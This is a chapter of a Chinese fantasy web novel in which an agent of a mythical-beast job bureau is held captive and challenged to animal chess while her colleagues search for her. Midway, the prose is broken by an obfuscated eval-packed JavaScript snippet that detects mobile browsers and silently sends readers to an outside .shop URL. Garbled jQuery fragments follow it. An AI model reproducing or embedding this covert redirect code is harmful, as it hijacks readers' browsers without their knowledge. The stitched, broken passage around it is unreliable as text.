反正也要被监视,宋南絮索性找了个舒服的姿势靠着:“咱们明人不说暗话,你费尽心机把我抓过来,到底是为了什么?”
“宋南絮,你开始做这份工作多久了,了解局里在做什么吗?”周不止神色一沉,望着宋南絮的眼睛。
“也没多久吧,不到半年。”宋南絮摸了摸下巴,“至于说做什么,自然是帮助异兽就业,努力适应社会,维护人与异兽的稳定咯。”
“呵。”周不止轻嗤一声,“说得倒是堂而皇之,实际上居心叵测。”
宋南絮有些诧异地看了他一眼,语气温和了些许:“所以在你眼里,局里是做什么的呢?”
她又顿了顿:“其实你怎么认为,我都会尽量去理解,大胆说就好。”
站在周不止的角度,才能更好地了解问题所在。
“我看过你做的案例。”周不止的双眸中带着寒芒,“局里让饕餮拼命地适应社会,让他一个神兽跌进泥泞里,在菜市场为了几毛钱斤斤计较,在大屏幕上受人指责。而他,分明可以呆在岛上过着随便吃的自由生活。”
“你们让他放弃引以为傲的异能去融入你们这个可笑的社会,甚至去动摇他的自信,辗转于一个满是竞争者的圈子里,甚至让一个所谓的神兽去感受他曾经最为厌恶的平凡。”
“让白泽与俗世中的人定下了羁绊,让他看到了朋友的死局,导致自由自在的他困于一方天地,为了那短暂的记忆承担他原本不愿意承受的。”
说着,周不止的眼中泛起了泪意:“你知道,白泽有多重情吗?”
周不止一口气说了很多,宋南絮耐心地聆听着。
纵然她的心性足够的坚定,心头也会因为周不止的这些话颤动。
她很少去考虑这些,对于她来说,她只需要考虑如何帮助这些异兽找到一份属于自己的工作就好了,而非其他。
她从来都没有把这些所谓的“神”放在眼里,甚至下意识会把他们当成人。
甚至是一个需要帮助的人。
讲到最后,周不止的声音带了些尖利:“所谓的适应社会,真的是适应社会吗,不过是磨灭了他们的神通与野性,为你们的社会服务而已。”
“你们将这些被奉为神的,推离他们的主场,因各种原因让他们不能好好施展神通,把他们规训成为一个真正的凡人。”
“试问一下,凭什么?”
凭什么?
这句话回荡在宋南絮的耳朵里,她抿了抿唇,一时间不知道该如何回答。
站在局里的立场上,大家为了和谐没有错,她也没有错。这个世界就是需要规则,需要条条框框,稳定和谐,而非拥有神通异类的专属舞台。
可站在神兽的立场上,人类似乎没有考虑到很多东西。
“我似乎明白了你的意思,也懂得你的心情。”宋南絮的手放腿上,紧紧将衣袖揪住。
“你不会明白的。”周不止义正言辞地回道,“你不懂,你永远不会懂从高处坠落的绝望,也不会懂神通不能施展的痛楚。”
“未必不能懂。”宋南絮闷声回道。
“呵呵。”周不止说道。
“可是周不止。”宋南絮淡淡地说道,“我理解你为他们打抱不平的原因,但是,这些也不是你把我搞到这里的理由。你若真的有什么问题,为什么不能好好谈一谈,而是用这种极端的方式呢?”
宋南絮顿了顿,又道:“你已经被通缉了,而且你现在这个行为,已经触及了人类的规则。”
“其实,我觉得你可以听从我的意见,暂时收手,你若真的对局里有什么建议,我可以和我的上级作为中间人,帮你传达。”宋南絮真诚地望着周不止,诚恳地说道。
“呵。”周不止再次嗤笑一声,“聊了这么多,我差点忘了,你现在最多算得上是我的一个人质,没有什么讲道理的资格。”
“无妨。”宋南絮微笑,“你可以当我什么都没说。”
她会在逃跑之后,把自己的所见所闻如实汇报的。
但是前提是,她能逃得掉。
现在她连走路都费劲,身体更是绵软地使不了力气,直接跑胜算不大,还是要用计谋。
想着,宋南絮换了个姿势坐着,余光不经意地打量着四周。
能建得起别墅的地方不多,到现在外面只有鸟鸣,也没有什么人说话的声音,符合的区域可以进一步缩小范围。
见宋南絮没有丝毫畏惧,甚至在沙发上惬意地坐着,周不止忽然眯了眯眼:“你倒是跟我之前认识的一个人很像,也是这样泰然自若,对于别人的话能共情理解。”
说完,周不止支着头,眼眸有些飘忽:“只不过,他很早就不在了。”
宋南絮看着周不止的神情,默默将这件事情记下。
回过神后,周不止从桌案底下拿出了一个黑色的盒子,爱惜地摸了摸,然后放在桌子上打开。
这是一副老旧的斗兽棋,虽然兽的图案已经有些磨损了,但还勉强可以用。
“我知道你现在非常想逃跑,但是我们不急,可以玩一个游戏,如果你真的可以胜我,我倒是可以格外允许你随便自由活动3分钟。”周不止戏谑地笑了,看着宋南絮的目光像是在看一个待宰的猎物。
“不过,你只有三次机会,如果三次都输了,你就没有离开的机会了。”周不止伸出食指,轻轻摇了摇,“不过,只要你逃跑失败一次,你将会被关到地下室,至于说会遭受什么……”
周不止卖了个关子,恶劣地笑了:“缺胳膊断腿可就不好说了。”
他还刻意地看了看宋南絮的神色,妄图看到她的害怕。
可是,宋南絮冷静得有些过头了,看上去没有丝毫畏惧,让周不止不满地撇了撇嘴。
“比什么?”宋南絮直截了当地问道,“我接受你的提议。”
“你可以反悔,至少不用受那些绝望的痛楚,也不必冒险被关进地下室。”周不止伸了个懒腰。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17651269|204092||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>“无妨,我这个人喜欢接受挑战。”宋南絮无所谓地摊了摊手,“什么游戏。”
“来一把斗兽棋,如果你赢了,就可以获得一次逃跑机会。”周不止把玩着手中的棋子笑了笑,露出了颊边的酒窝。
宋南絮将棋面翻过来,快速地阅读着上面的规则,熟记于心。
“来吧。”宋南絮扣住棋子,下了第一步棋。
与此同时,山海经异兽管理局A室某驻点。
“宋南絮并未乘坐前往C市的班机。”安保部部长翻动着手机上的资料,沉声道,“但是手机信号最后消失的地方,是在A市的边缘交界处。”
A市边缘紧紧靠着B市和C市,需要考虑两个方向,且不排除一直移动的可能。
程砚眉头紧锁:“开明兽K姐还在乘坐直升机用异能排查,还有没有其他的线索?”
“周不止这个人,太滑溜了,我们安保部几次都没有抓到。”安保部部长紧盯着面前城市各路的监控,“我们的异兽神通探测器唯独对他时灵时不灵,非常奇怪。”
程砚脑海中忽然闪过一丝念头,但又被他很快地压了下去。
“程部长,之前你们不是有收到白泽的预言提示吗,他具体有说些什么吗?”安保部部长踱步程砚跟前,开口问道。
“白泽的预言一向很准,他确实说明了宋南絮的绑架时间应该是几日后,可是没想到宋南絮提前消失了。”程砚垂眸望着地图,“你说,他是不是用了某种规避方式。”
“不排除这种可能性。”安保部部长陷入了沉思。
“如果绑架的时间确实是在几天后,而现在的周不止虽然限制了宋南絮的行动,但不算绑架……”程砚忽然抬眸,望向了安保部部长。
“你的意思是。”安保部部长望向了地图。
指着地图上的住宅区,程砚合理推断:“如果是在外部,宋南絮肯定会跑。如果地点是在仓库或者其他密闭空间囚禁,则一定会被萧润白判断为绑架的。办公楼则有巡保或工作成员,更不易藏人。所以,极有可能在住宅区。”
安保部部长恍然,拿起对讲机吩咐道:“重点排查居民楼,尤其是那种没有实名的,包括一些荒郊野岭的废弃别墅。”
新一轮的搜查开始进行,为了找宋南絮,程砚已经许久没有好好休息了,眼底一片青黑。
“要不你先休息一下。”安保部部长有些担忧地看着程砚,“有消息了叫你。”
程砚摇了摇头,他找了个椅子坐下,从怀中摸出了一张照片,是宋南絮和他的合照。
早在局里的时候,他就把放在办公桌抽屉里的相片带上了。
思念与担忧交织在一起,再加上悔恨与自责,让他夜不能寐。
空闲时偶尔翻翻合照,便成了他唯一的精神支柱。
“宋南絮,我不能没有你。”程砚喃喃自语道。
他抚摸着合照上的脸庞,缓缓将照片扣在心口。
真的,不能没有你。